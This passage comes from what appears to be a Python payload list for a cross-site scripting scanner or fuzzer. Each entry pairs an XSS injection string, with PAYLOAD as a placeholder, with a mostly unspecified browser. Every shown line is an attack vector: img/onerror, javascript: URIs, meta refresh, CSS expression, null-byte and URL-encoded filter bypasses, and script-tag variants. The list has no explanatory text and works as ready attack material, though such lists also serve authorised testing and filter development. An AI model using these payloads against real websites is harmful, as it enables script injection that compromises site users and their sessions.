  1865. { 'payload':'''<img/anyjunk/onerror=alert(PAYLOAD) src=a>''',
  1866. 'browser':"""[Not Info]"""},
  1867. { 'payload':'''<img dynsrc="javascript:alert(PAYLOAD);">''',
  1868. 'browser':"""[Not Info]"""},
  1869. { 'payload':'''<IMG DYNSRC="javascript:alert(PAYLOAD)">''',
  1870. 'browser':"""[Not Info]"""},
  1871. { 'payload':'''<IMG DYNSRC="javascript:alert('PAYLOAD')">''',
  1872. 'browser':"""[Not Info]"""},
  1873. { 'payload':'''<IMG DYNSRC="javascript:javascript:alert(PAYLOAD)">''',
  1874. 'browser':"""[Not Info]"""},
  1875. { 'payload':'''<IMG LOWSRC="javascript:alert(PAYLOAD)">''',
  1876. 'browser':"""[Not Info]"""},
  1877. { 'payload':'''<IMG LOWSRC="javascript:alert('PAYLOAD')">''',
  1878. 'browser':"""[Not Info]"""},
  1879. { 'payload':'''<IMG LOWSRC="javascript:javascript:alert(PAYLOAD)">''',
  1880. 'browser':"""[Not Info]"""},
  1881. { 'payload':'''"/><img/onerror=%09javascript:alert(PAYLOAD)%09src=xxx:x />''',
  1882. 'browser':"""[Not Info]"""},
  1883. { 'payload':'''"/><img/onerror=%0Ajavascript:alert(PAYLOAD)%0Asrc=xxx:x />''',
  1884. 'browser':"""[Not Info]"""},
  1885. { 'payload':'''"/><img/onerror=%0Bjavascript:alert(PAYLOAD)%0Bsrc=xxx:x />''',
  1886. 'browser':"""[Not Info]"""},
  1887. { 'payload':'''"/><img/onerror=%0Cjavascript:alert(PAYLOAD)%0Csrc=xxx:x />''',
  1888. 'browser':"""[Not Info]"""},
  1889. { 'payload':'''"/><img/onerror=%0Djavascript:alert(PAYLOAD)%0Dsrc=xxx:x />''',
  1890. 'browser':"""[Not Info]"""},
  1891. { 'payload':'''"/><img/onerror=%20javascript:alert(PAYLOAD)%20src=xxx:x />''',
  1892. 'browser':"""[Not Info]"""},
  1893. { 'payload':'''"/><img/onerror=%22javascript:alert(PAYLOAD)%22src=xxx:x />''',
  1894. 'browser':"""[Not Info]"""},
  1895. { 'payload':'''"/><img/onerror=%27javascript:alert(PAYLOAD)%27src=xxx:x />''',
  1896. 'browser':"""[Not Info]"""},
  1897. { 'payload':'''"/><img/onerror=%60javascript:alert(PAYLOAD)%60src=xxx:x />''',
  1898. 'browser':"""[Not Info]"""},
  1899. { 'payload':'''<img onerror=a&#0108;ert(PAYLOAD) src=a>''',
  1900. 'browser':"""[Not Info]"""},
  1901. { 'payload':'''<img onerror=a&#0108ert(PAYLOAD) src=a>''',
  1902. 'browser':"""[Not Info]"""},
  1903. { 'payload':'''<img onerror=a&#108;ert(PAYLOAD) src=a>''',
  1904. 'browser':"""[Not Info]"""},
  1905. { 'payload':'''<img onerror=a&#108ert(PAYLOAD) src=a>''',
  1906. 'browser':"""[Not Info]"""},
  1907. { 'payload':'''<img onerror=`alert(PAYLOAD)`src=a>''',
  1908. 'browser':"""[Not Info]"""},
  1909. { 'payload':'''<img onerror=”alert(PAYLOAD)”src=a>''',
  1910. 'browser':"""[Not Info]"""},
  1911. { 'payload':'''<img onerror=alert(PAYLOAD) src=a>''',
  1912. 'browser':"""[Not Info]"""},
  1913. { 'payload':'''<img/onerror=alert(PAYLOAD) src=a>''',
  1914. 'browser':"""[Not Info]"""},
  1915. { 'payload':'''<img/onerror=alert(PAYLOAD) src=a>''',
  1916. 'browser':"""[Not Info]"""},
  1917. { 'payload':'''<img/onerror=alert(PAYLOAD) src=a>''',
  1918. 'browser':"""[Not Info]"""},
  1919. { 'payload':'''«img onerror=alert(PAYLOAD) src=a»''',
  1920. 'browser':"""[Not Info]"""},
  1921. { 'payload':'''<iMg onerror=alert(PAYLOAD) src=a>''',
  1922. 'browser':"""[Not Info]"""},
  1923. { 'payload':'''<img onerror=a&#x0006c;ert(PAYLOAD) src=a>''',
  1924. 'browser':"""[Not Info]"""},
  1925. { 'payload':'''<img onerror=a&#x006c;ert(PAYLOAD) src=a>''',
  1926. 'browser':"""[Not Info]"""},
  1927. { 'payload':'''<img onerror=a&#x06c;ert(PAYLOAD) src=a>''',
  1928. 'browser':"""[Not Info]"""},
  1929. { 'payload':'''<img onerror=MsgBox+PAYLOAD language=vbs src=a>''',
  1930. 'browser':"""[Not Info]"""},
  1931. { 'payload':'''<IMG ONERROR=”VBS:EXECSCRIPT LCASE(‘ALERT(PAYLOAD)’)” SRC=A>''',
  1932. 'browser':"""[Not Info]"""},
  1933. { 'payload':'''<img onerror=”vbs:MsgBox PAYLOAD” src=a>''',
  1934. 'browser':"""[Not Info]"""},
  1935. { 'payload':'''<IMG ONERROR=”VBS:MSGBOX PAYLOAD” SRC=A>''',
  1936. 'browser':"""[Not Info]"""},
  1937. { 'payload':'''<img onerror=&#x65;&#x76;&#x61;&#x6c;&#x28;&#x27;al&#x5c;u0065rt&#x28;PAYLOAD&#x29;&#x27;&#x29; src=a>''',
  1938. 'browser':"""[Not Info]"""},
  1939. { 'payload':'''"`'/><img/onload=alert(PAYLOAD) src=""/>''',
  1940. 'browser':"""[Not Info]"""},
  1941. { 'payload':'''<IMG onmouseover="alert('PAYLOAD')">''',
  1942. 'browser':"""[Not Info]"""},
  1943. { 'payload':'''<IMG SRC=" &#14; javascript:alert(PAYLOAD);">''',
  1944. 'browser':"""[Not Info]"""},
  1945. { 'payload':'''<IMG SRC=" &#14; javascript:alert('PAYLOAD');">''',
  1946. 'browser':"""[Not Info]"""},
  1947. { 'payload':'''`"'><img src='#%27 onerror=javascript:alert(PAYLOAD)>''',
  1948. 'browser':"""[Not Info]"""},
  1949. { 'payload':'''<img src%32=x onerror="javascript:alert(PAYLOAD)">''',
  1950. 'browser':"""[Not Info]"""},
  1951. { 'payload':'''<img src%47=x onerror="javascript:alert(PAYLOAD)">''',
  1952. 'browser':"""[Not Info]"""},
  1953. { 'payload':'''<img src=a onerror=alert(PAYLOAD)''',
  1954. 'browser':"""[Not Info]"""},
  1955. { 'payload':'''<img src=a onerror=alert(PAYLOAD) %0A>''',
  1956. 'browser':"""[Not Info]"""},
  1957. { 'payload':'''<img src=a onerror=alert(PAYLOAD)%0A>a''',
  1958. 'browser':"""[Not Info]"""},
  1959. { 'payload':'''<!--<img src="--><img src=x onerror=alert(PAYLOAD)//">''',
  1960. 'browser':"""[Not Info]"""},
  1961. { 'payload':'''<img src=”<img src=x”/onerror=alert(PAYLOAD)//”> Jquery: <img/src/onerror=alert(PAYLOAD)>''',
  1962. 'browser':"""[Not Info]"""},
  1963. { 'payload':'''<!--<img src="--><img src=x onerror=javascript:alert(PAYLOAD)//">''',
  1964. 'browser':"""[Not Info]"""},
  1965. { 'payload':'''<![><img src="]><img src=x onerror=javascript:alert(PAYLOAD)//">''',
  1966. 'browser':"""[Not Info]"""},
  1967. { 'payload':'''<img src ?Y?\/onerror = alert(PAYLOAD)​​​''',
  1968. 'browser':"""[Chrome]"""},
  1969. { 'payload':'''<img src="x:? title=" onerror=alert(PAYLOAD)//">''',
  1970. 'browser':"""[Not Info]"""},
  1971. { 'payload':'''><img src="x:x" onerror=alert(PAYLOAD)>''',
  1972. 'browser':"""[Not Info]"""},
  1973. { 'payload':'''<img src='xx:x><img src=xx:x onerror=alert(PAYLOAD)>'>''',
  1974. 'browser':"""[Not Info]"""},
  1975. { 'payload':'''<img src='xx:x onerror="alert(PAYLOAD)">'>''',
  1976. 'browser':"""[Not Info]"""},
  1977. { 'payload':'''<img src='xx:x\ onerror="alert(PAYLOAD)">'>''',
  1978. 'browser':"""[Not Info]"""},
  1979. { 'payload':'''<img src=x:xx onerror="try {execScript('a=PAYLOAD','vbs');alert(PAYLOAD);}catch(e){alert(PAYLOAD);}">''',
  1980. 'browser':"""[Not Info]"""},
  1981. { 'payload':'''<img src=xx:xx alt=`/onerror=alert(PAYLOAD)//`>''',
  1982. 'browser':"""[Not Info]"""},
  1983. { 'payload':'''`"'><img src=xxx:x onerror=alert(PAYLOAD)>''',
  1984. 'browser':"""[Not Info]"""},
  1985. { 'payload':'''<!--<img src=xxx:x onerror=alert(PAYLOAD)> -->''',
  1986. 'browser':"""[Not Info]"""},
  1987. { 'payload':'''<!-- `<img/src=xx:xx onerror=alert(PAYLOAD)//--!>''',
  1988. 'browser':"""[Not Info]"""},
  1989. { 'payload':'''<img src=`xx:xx`onerror=alert(PAYLOAD)>''',
  1990. 'browser':"""[Not Info]"""},
  1991. { 'payload':'''<img src=xx:xx onerror=alert(PAYLOAD)>''',
  1992. 'browser':"""[Not Info]"""},
  1993. { 'payload':'''<img src=xx:xx onerror =alert(PAYLOAD);>''',
  1994. 'browser':"""[Not Info]"""},
  1995. { 'payload':'''<img src=xx:xx# /onerror=alert(PAYLOAD)>''',
  1996. 'browser':"""[Not Info]"""},
  1997. { 'payload':'''--><img src=xxx:x onerror=alert(PAYLOAD)> -->''',
  1998. 'browser':"""[Not Info]"""},
  1999. { 'payload':'''--><!-- ---> <img src=xxx:x onerror=javascript:alert(PAYLOAD)> -->''',
  2000. 'browser':"""[Not Info]"""},
  2001. { 'payload':'''<img src=xx:xx onerror=window[['alert']](PAYLOAD)>''',
  2002. 'browser':"""[Not Info]"""},
  2003. { 'payload':'''<img src=xx:xx onerror="&#X61;lert(PAYLOAD);alert(PAYLOAD)">''',
  2004. 'browser':"""[Not Info]"""},
  2005. { 'payload':'''<img src=xx:xx onerror="x='\',alert(PAYLOAD)//'">''',
  2006. 'browser':"""[Not Info]"""},
  2007. { 'payload':'''<img type=image src=Y.gif onreadystatechange=alert(PAYLOAD)>''',
  2008. 'browser':"""[Not Info]"""},
  2009. { 'payload':'''<input autofocus onfocus=alert(PAYLOAD)>''',
  2010. 'browser':"""[Not Info]"""},
  2011. { 'payload':'''<input id='1'><input id=1><script>alert(PAYLOAD)</script>''',
  2012. 'browser':"""[Not Info]"""},
  2013. { 'payload':'''<input id=PAYLOAD><input id=PAYLOAD><script>alert(PAYLOAD)</script>''',
  2014. 'browser':"""[Not Info]"""},
  2015. { 'payload':'''<input onblur=alert(PAYLOAD) autofocus><input autofocus>''',
  2016. 'browser':"""[Not Info]"""},
  2017. { 'payload':'''<input onblur=javascript:alert(PAYLOAD) autofocus><input autofocus>''',
  2018. 'browser':"""[Not Info]"""},
  2019. { 'payload':'''<input onblur=write(PAYLOAD) autofocus><input autofocus>''',
  2020. 'browser':"""[Not Info]"""},
  2021. { 'payload':'''<input onfocus=javascript:alert(PAYLOAD) autofocus>''',
  2022. 'browser':"""[Not Info]"""},
  2023. { 'payload':'''<input onfocus=write(PAYLOAD) autofocus>''',
  2024. 'browser':"""[Not Info]"""},
  2025. { 'payload':'''<input/onmouseover="javaSCRIPT&colon;confirm&lpar;PAYLOAD&rpar;"''',
  2026. 'browser':"""[Not Info]"""},
  2027. { 'payload':'''<input type="image" dynsrc="javascript:alert(PAYLOAD);">''',
  2028. 'browser':"""[Not Info]"""},
  2029. { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:alert(PAYLOAD);">''',
  2030. 'browser':"""[Not Info]"""},
  2031. { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:alert('PAYLOAD');">''',
  2032. 'browser':"""[Not Info]"""},
  2033. { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(PAYLOAD);">''',
  2034. 'browser':"""[Not Info]"""},
  2035. { 'payload':'''<input type=image src=Y.gif onreadystatechange=alert(PAYLOAD)>''',
  2036. 'browser':"""[Not Info]"""},
  2037. { 'payload':'''<input type="text" AUTOFOCUS onfocus=alert(PAYLOAD)>''',
  2038. 'browser':"""[Not Info]"""},
  2039. { 'payload':'''<input type="text" value=``<div/onmouseover='alert(PAYLOAD)'>X</div>''',
  2040. 'browser':"""[Not Info]"""},
  2041. { 'payload':'''<input type="text" value=`` <div/onmouseover='alert(PAYLOAD)'>X</div>''',
  2042. 'browser':"""[Not Info]"""},
  2043. { 'payload':'''<input value=<><iframe/src=javascript:confirm(PAYLOAD)''',
  2044. 'browser':"""[Not Info]"""},
  2045. { 'payload':'''<isindex action=javascript:alert(PAYLOAD) type=image>''',
  2046. 'browser':"""[Not Info]"""},
  2047. { 'payload':'''<isindex type=image src=1 onerror=alert(PAYLOAD)>''',
  2048. 'browser':"""[Not Info]"""},
  2049. { 'payload':'''<isindex type=image src=Y.gif onreadystatechange=alert(PAYLOAD)>''',
  2050. 'browser':"""[Not Info]"""},
  2051. { 'payload':'''Y%20-%22%3E%3Cscript%3Ealert(PAYLOAD)%3C%2Fscript%3E''',
  2052. 'browser':"""[Not Info]"""},
  2053. { 'payload':'''Y%20%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E''',
  2054. 'browser':"""[Not Info]"""},
  2055. { 'payload':'''"'`>Y<div style="font-family:'foo;x:expression(alert(PAYLOAD));/*';">Y''',
  2056. 'browser':"""[Not Info]"""},
  2057. { 'payload':'''"'`>Y<div style="font-family:'foo'x:expression(alert(PAYLOAD));/*';">Y''',
  2058. 'browser':"""[Not Info]"""},
  2059. { 'payload':'''Y<div style="x:expression(alert(PAYLOAD))">Y''',
  2060. 'browser':"""[Not Info]"""},
  2061. { 'payload':'''Y<div style="xexpression(alert(PAYLOAD))">Y''',
  2062. 'browser':"""[Not Info]"""},
  2063. { 'payload':'''<Y STYLE="Y:expression(alert(PAYLOAD))">''',
  2064. 'browser':"""[Not Info]"""},
  2065. { 'payload':'''<keygen autofocus onfocus=alert(PAYLOAD)>''',
  2066. 'browser':"""[Not Info]"""},
  2067. { 'payload':'''<keygen onfocus=javascript:alert(PAYLOAD) autofocus>''',
  2068. 'browser':"""[Not Info]"""},
  2069. { 'payload':'''<LAYER SRC="javascript:alert(PAYLOAD);"></LAYER>''',
  2070. 'browser':"""[Not Info]"""},
  2071. { 'payload':'''<LINK REL="stylesheet" HREF="javascript:alert(PAYLOAD);">''',
  2072. 'browser':"""[Not Info]"""},
  2073. { 'payload':'''<LINK REL="stylesheet" HREF="javascript:alert('PAYLOAD');">''',
  2074. 'browser':"""[Not Info]"""},
  2075. { 'payload':'''<LINK REL="stylesheet" HREF="javascript:javascript:alert(PAYLOAD);">''',
  2076. 'browser':"""[Not Info]"""},
  2077. { 'payload':'''<li style=list-style:url() onerror=alert(PAYLOAD)></li>''',
  2078. 'browser':"""[Not Info]"""},
  2079. { 'payload':'''<marquee onScroll marquee onScroll="javascript:javascript:alert(PAYLOAD)"></marquee onScroll>''',
  2080. 'browser':"""[Not Info]"""},
  2081. { 'payload':'''<marquee onstart='javascript:alert&#x28;PAYLOAD&#x29;'>^__^''',
  2082. 'browser':"""[Not Info]"""},
  2083. { 'payload':'''<marquee onStart marquee onStart="javascript:javascript:alert(PAYLOAD)"></marquee onStart>''',
  2084. 'browser':"""[Not Info]"""},
  2085. { 'payload':'''<meta charset="mac-farsi">¼script¾javascript:alert(PAYLOAD)¼/script¾''',
  2086. 'browser':"""[Not Info]"""},
  2087. { 'payload':'''<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(PAYLOAD)&&;&&<&&/script&&>''',
  2088. 'browser':"""[Not Info]"""},
  2089. { 'payload':'''<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(PAYLOAD)&R&UA;&&<&A9&11/script&X&>''',
  2090. 'browser':"""[Not Info]"""},
  2091. { 'payload':'''<meta content="&NewLine; PAYLOAD &NewLine;; JAVASCRIPT&colon; alert(PAYLOAD)" http-equiv="refresh"/>''',
  2092. 'browser':"""[Not Info]"""},
  2093. { 'payload':'''<META HTTP-EQUIV="Link" Content="<javascript:alert(PAYLOAD)>; REL=stylesheet">''',
  2094. 'browser':"""[Not Info]"""},
  2095. { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0.1; URL=javascript:void()//?;URL=javascript:alert(PAYLOAD)//">''',
  2096. 'browser':"""[Not Info]"""},
  2097. { 'payload':'''<meta http-equiv="refresh" content="0;javascript&colon;alert(PAYLOAD)"/>''',
  2098. 'browser':"""[Not Info]"""},
  2099. { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(PAYLOAD);">​''',
  2100. 'browser':"""[Not Info]"""},
  2101. { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('PAYLOAD');">''',
  2102. 'browser':"""[Not Info]"""},
  2103. { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(PAYLOAD);">''',
  2104. 'browser':"""[Not Info]"""},
  2105. { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(PAYLOAD);">''',
  2106. 'browser':"""[Not Info]"""},
  2107. { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('PAYLOAD');">''',
  2108. 'browser':"""[Not Info]"""},
  2109. { 'payload':'''<meta http-equiv="refresh" content="0;url=javascript:confirm(PAYLOAD)">''',
  2110. 'browser':"""[Not Info]"""},
  2111. { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(PAYLOAD);">''',
  2112. 'browser':"""[Not Info]"""},
  2113. { 'payload':'''<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert(PAYLOAD)&lt;/SCRIPT&gt;">''',
  2114. 'browser':"""[Not Info]"""},
  2115. { 'payload':'''<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(PAYLOAD)</SCRIPT>">''',
  2116. 'browser':"""[Not Info]"""},
  2117. { 'payload':'''<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('PAYLOAD')</SCRIPT>">''',
  2118. 'browser':"""[Not Info]"""},
  2119. { 'payload':'''<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(PAYLOAD)"></OBJECT>''',
  2120. 'browser':"""[Not Info]"""},
  2121. { 'payload':'''<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(PAYLOAD)></OBJECT>''',
  2122. 'browser':"""[Not Info]"""},
  2123. { 'payload':'''<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(PAYLOAD)></OBJECT>''',
  2124. 'browser':"""[Not Info]"""},
  2125. { 'payload':'''<object classid="clsid:..." codebase="javascript:alert(PAYLOAD);">''',
  2126. 'browser':"""[Not Info]"""},
  2127. { 'payload':'''object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(PAYLOAD)" style="behavior:url(#x);"><param name=postdomevents /></object>''',
  2128. 'browser':"""[Not Info]"""},
  2129. { 'payload':'''<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(PAYLOAD)" style="behavior:url(#x);"><param name=postdomevents /></object>''',
  2130. 'browser':"""[Not Info]"""},
  2131. { 'payload':'''<object onbeforeload object onbeforeload="javascript:javascript:alert(PAYLOAD)"></object onbeforeload>''',
  2132. 'browser':"""[Not Info]"""},
  2133. { 'payload':'''<object onerror=alert(PAYLOAD)>''',
  2134. 'browser':"""[Not Info]"""},
  2135. { 'payload':'''<object onerror=javascript:javascript:alert(PAYLOAD)>''',
  2136. 'browser':"""[Not Info]"""},
  2137. { 'payload':'''<object onError object onError="javascript:javascript:alert(PAYLOAD)"></object onError>''',
  2138. 'browser':"""[Not Info]"""},
  2139. { 'payload':'''<object src=1 href=1 onerror="javascript:alert(PAYLOAD)"></object>''',
  2140. 'browser':"""[Not Info]"""},
  2141. { 'payload':'''<object type=image src=Y.gif onreadystatechange=alert(PAYLOAD)></object>''',
  2142. 'browser':"""[Not Info]"""},
  2143. { 'payload':'''onerror=eval;throw'alert%28PAYLOAD%29';''',
  2144. 'browser':"""[Not Info]"""},
  2145. { 'payload':'''onmouseover=alert(PAYLOAD);''',
  2146. 'browser':"""[Not Info]"""},
  2147. { 'payload':'''"onmouseover="alert(PAYLOAD)"a="''',
  2148. 'browser':"""[Not Info]"""},
  2149. { 'payload':'''"onmouseover=alert(PAYLOAD);a="''',
  2150. 'browser':"""[Not Info]"""},
  2151. { 'payload':'''</plaintext\></|\><plaintext/onmouseover=prompt(1)''',
  2152. 'browser':"""[Not Info]"""},
  2153. { 'payload':'''<p/onmouseover=javascript:alert(PAYLOAD); >Y</p>''',
  2154. 'browser':"""[Not Info]"""},
  2155. { 'payload':'''<p style="background:url('javascript:alert(PAYLOAD)')">''',
  2156. 'browser':"""[Not Info]"""},
  2157. { 'payload':'''<P STYLE="behavior:url('#Zault#time2')" end="0" onEnd="javascript:alert(PAYLOAD)">''',
  2158. 'browser':"""[Not Info]"""},
  2159. { 'payload':'''<p style="font-family:'\22\3bx:expression(alert(PAYLOAD))/*'">''',
  2160. 'browser':"""[Not Info]"""},
  2161. { 'payload':'''"'`><p><svg><script>a='Y%27;javascript:alert(PAYLOAD)//';</script></p>''',
  2162. 'browser':"""[Not Info]"""},
  2163. { 'payload':'''"'`><p><svg><script>a='Y;alert(PAYLOAD)//';</script></p>''',
  2164. 'browser':"""[Not Info]"""},
  2165. { 'payload':'''<p><svg><script>alert(PAYLOAD)</script></p>''',
  2166. 'browser':"""[Not Info]"""},
  2167. { 'payload':'''s%22%20%22+STYLE%3D%22background-image%3A+expression%28alert%28%27PAYLOAD%3F%29%29''',
  2168. 'browser':"""[Not Info]"""},
  2169. { 'payload':'''s%22%20style=%22background:url(javascript:alert(’PAYLOAD’))''',
  2170. 'browser':"""[Not Info]"""},
  2171. { 'payload':'''s%22%20style=x:expression(alert(PAYLOAD))''',
  2172. 'browser':"""[Not Info]"""},
  2173. { 'payload':'''<scr%00ipt%20&message=> alert(‘PAYLOAD’)</script>''',
  2174. 'browser':"""[Not Info]"""},
  2175. { 'payload':'''<script /*%00*/>/*%00*/alert(PAYLOAD)/*%00*/</script /*%00*/''',
  2176. 'browser':"""[Not Info]"""},
  2177. { 'payload':'''<script>({0:#0=alert/#0#/#0#(PAYLOAD)})</script>''',
  2178. 'browser':"""[Not Info]"""},
  2179. { 'payload':'''<script>({0:#0=eval/#0#/#0#(javascript:alert(PAYLOAD))})</script>''',
  2180. 'browser':"""[Not Info]"""},
  2181. { 'payload':'''<script>/* *%00/javascript:alert(PAYLOAD)// */</script>''',
  2182. 'browser':"""[Not Info]"""},
  2183. { 'payload':'''<script%00>javascript:alert(PAYLOAD)</script>''',
  2184. 'browser':"""[Not Info]"""},
  2185. { 'payload':'''"`'><script>%00javascript:alert(PAYLOAD)</script>''',
  2186. 'browser':"""[Not Info]"""},
  2187. { 'payload':'''<script%09>javascript:alert(PAYLOAD)</script>''',
  2188. 'browser':"""[Not Info]"""},
  2189. { 'payload':'''"`'><script>%09javascript:alert(PAYLOAD)</script>''',
  2190. 'browser':"""[Not Info]"""},
  2191. { 'payload':'''<script%09type="text/javascript">javascript:alert(PAYLOAD);</script>''',
  2192. 'browser':"""[Not Info]"""},
  2193. { 'payload':'''<script%0A>javascript:alert(PAYLOAD)</script>''',
  2194. 'browser':"""[Not Info]"""},
  2195. { 'payload':'''"`'><script>%0Ajavascript:alert(PAYLOAD)</script>''',
  2196. 'browser':"""[Not Info]"""},
  2197. { 'payload':'''<script%0Atype="text/javascript">javascript:alert(PAYLOAD);</script>''',
  2198. 'browser':"""[Not Info]"""},
  2199. { 'payload':'''"`'><script>%0Bjavascript:alert(PAYLOAD)</script>''',
  2200. 'browser':"""[Not Info]"""},
  2201. { 'payload':'''<script%0C>javascript:alert(PAYLOAD)</script>''',
  2202. 'browser':"""[Not Info]"""},
  2203. { 'payload':'''"`'><script>%0Cjavascript:alert(PAYLOAD)</script>''',
  2204. 'browser':"""[Not Info]"""},
  2205. { 'payload':'''<script%0Ctype="text/javascript">javascript:alert(PAYLOAD);</script>''',
  2206. 'browser':"""[Not Info]"""},
  2207. { 'payload':'''<script%0D>javascript:alert(PAYLOAD)</script>''',
  2208. 'browser':"""[Not Info]"""},
  2209. { 'payload':'''"`'><script>%0Djavascript:alert(PAYLOAD)</script>''',
  2210. 'browser':"""[Not Info]"""},
  2211. { 'payload':'''<script%0Dtype="text/javascript">javascript:alert(PAYLOAD);</script>''',
  2212. 'browser':"""[Not Info]"""},
  2213. { 'payload':'''<script>+-+-PAYLOAD-+-+alert(PAYLOAD)</script>''',
  2214. 'browser':"""[Not Info]"""},
  2215. { 'payload':'''><script>PAYLOAD<\\/script>''',
  2216. 'browser':"""[Not Info]"""},
  2217. { 'payload':'''\"><script>PAYLOAD<\\/script>''',
  2218. 'browser':"""[Not Info]"""},
  2219. { 'payload':'''\\\'><script>PAYLOAD<\\/script>''',
  2220. 'browser':"""[Not Info]"""},
  2221. { 'payload':'''<script%20>javascript:alert(PAYLOAD)</script>''',
  2222. 'browser':"""[Not Info]"""},
  2223. { 'payload':'''"`'><script>%20javascript:alert(PAYLOAD)</script>''',
  2224. 'browser':"""[Not Info]"""},
  2225. { 'payload':'''<script%20language=vbscript>msgbox%20PAYLOAD</script>''',
  2226. 'browser':"""[Not Info]"""},
  2227. { 'payload':'''<script%20type="text/javascript">javascript:alert(PAYLOAD);</script>''',
  2228. 'browser':"""[Not Info]"""},
  2229. { 'payload':'''"`'><script>%21javascript:alert(PAYLOAD)</script>''',
  2230. 'browser':"""[Not Info]"""},
  2231. { 'payload':'''<script>/* *%2A/javascript:alert(PAYLOAD)// */</script>''',
  2232. 'browser':"""[Not Info]"""},
  2233. { 'payload':'''"`'><script>%2Bjavascript:alert(PAYLOAD)</script>''',
  2234. 'browser':"""[Not Info]"""},
  2235. { 'payload':'''<script%2F>javascript:alert(PAYLOAD)</script>''',
  2236. 'browser':"""[Not Info]"""},
  2237. { 'payload':''''"`><script>/* *%2Fjavascript:alert(PAYLOAD)// */</script>''',
  2238. 'browser':"""[Not Info]"""},
  2239. { 'payload':'''<script%2Ftype="text/javascript">javascript:alert(PAYLOAD);</script>''',
  2240. 'browser':"""[Not Info]"""},
  2241. { 'payload':'''"`'><script>%3Bjavascript:alert(PAYLOAD)</script>''',
  2242. 'browser':"""[Not Info]"""},
  2243. { 'payload':'''<script%3Etype="text/javascript">javascript:alert(PAYLOAD);</script>''',
  2244. 'browser':"""[Not Info]"""},
  2245. { 'payload':'''<ScRipT 5-0*3+9/3=>prompt(PAYLOAD)</ScRipT Y=?''',
  2246. 'browser':"""[Not Info]"""},
  2247. { 'payload':'''"`'><script>%7Ejavascript:alert(PAYLOAD)</script>''',
  2248. 'browser':"""[Not Info]"""},
  2249. { 'payload':'''<script>a%006cert(PAYLOAD);</script>''',
  2250. 'browser':"""[Not Info]"""},
  2251. { 'payload':'''<SCRIPT>a=/PAYLOAD/''',
  2252. 'browser':"""[Not Info]"""},
  2253. { 'payload':'''<script>a='Y\\';alert(PAYLOAD)//Y';</script>''',
  2254. 'browser':"""[Not Info]"""},
  2255. { 'payload':'''"'`><script>a=/Y;;i=0;alert(PAYLOAD);a/i;</script>''',
  2256. 'browser':"""[Not Info]"""},
  2257. { 'payload':'''<SCRIPT>a=/Y/\nalert(PAYLOAD);</SCRIPT>''',
  2258. 'browser':"""[Not Info]"""},
  2259. { 'payload':'''<<SCRIPT>alert(PAYLOAD);/''',
  2260. 'browser':"""[Not Info]"""},
  2261. { 'payload':'''<script>alert(PAYLOAD,PAYLOAD</script//)</script>''',
  2262. 'browser':"""[Not Info]"""},
  2263. { 'payload':'''<script>alert(PAYLOAD,PAYLOAD</script/)</script>''',
  2264. 'browser':"""[Not Info]"""},
  2265. { 'payload':'''<script>alert(PAYLOAD)/Y/'</script>''',
  2266. 'browser':"""[Not Info]"""},
  2267. { 'payload':'''<script>’alert(PAYLOAD)’.replace(/.+/,eval)</script>''',
  2268. 'browser':"""[Not Info]"""},
  2269. { 'payload':'''<<script>alert(PAYLOAD);</script>''',
  2270. 'browser':"""[Not Info]"""},
  2271. { 'payload':'''<!-- -- --><script>alert(PAYLOAD);</script><!-- -- -->''',
  2272. 'browser':"""[Not Info]"""},
  2273. { 'payload':'''<%25<!--'%25><script>alert(PAYLOAD);</script -->''',
  2274. 'browser':"""[Not Info]"""},
  2275. { 'payload':'''<script<{alert(PAYLOAD)}/></script </>''',
  2276. 'browser':"""[Not Info]"""},
  2277. { 'payload':'''<script>/* */alert(PAYLOAD)// */</script>''',
  2278. 'browser':"""[Not Info]"""},
  2279. { 'payload':'''<script>alert(\'\\/\\PAYLOAD\\/\\\')</script>''',
  2280. 'browser':"""[Not Info]"""},
  2281. { 'payload':'''<script>alert(\'\\\\PAYLOAD\\\\\')</script>''',
  2282. 'browser':"""[Not Info]"""},
  2283. { 'payload':'''<script>alert(\'PAYLOAD\')</script>''',
  2284. 'browser':"""[Not Info]"""},
  2285. { 'payload':'''\<svg/onload=alert`PAYLOAD`\>''',
  2286. 'browser':"""[Not Info]"""},
  2287. { 'payload':'''\<svg/onload=alert`PAYLOAD`\>''',
  2288. 'browser':"""[Not Info]"""},
  2289. { 'payload':'''<script>alert(PAYLOAD)<!-- '</script>''',
  2290. 'browser':"""[Not Info]"""},
  2291. { 'payload':'''<script>alert(PAYLOAD)</script>;''',
  2292. 'browser':"""[Not Info]"""},
  2293. { 'payload':'''<script>alert(PAYLOAD)</script>/''',
  2294. 'browser':"""[Not Info]"""},
  2295. { 'payload':'''<script>alert(PAYLOAD);</script>''',
  2296. 'browser':"""[Not Info]"""},
  2297. { 'payload':''''`"><script>alert(PAYLOAD)</script>''',
  2298. 'browser':"""[Not Info]"""},
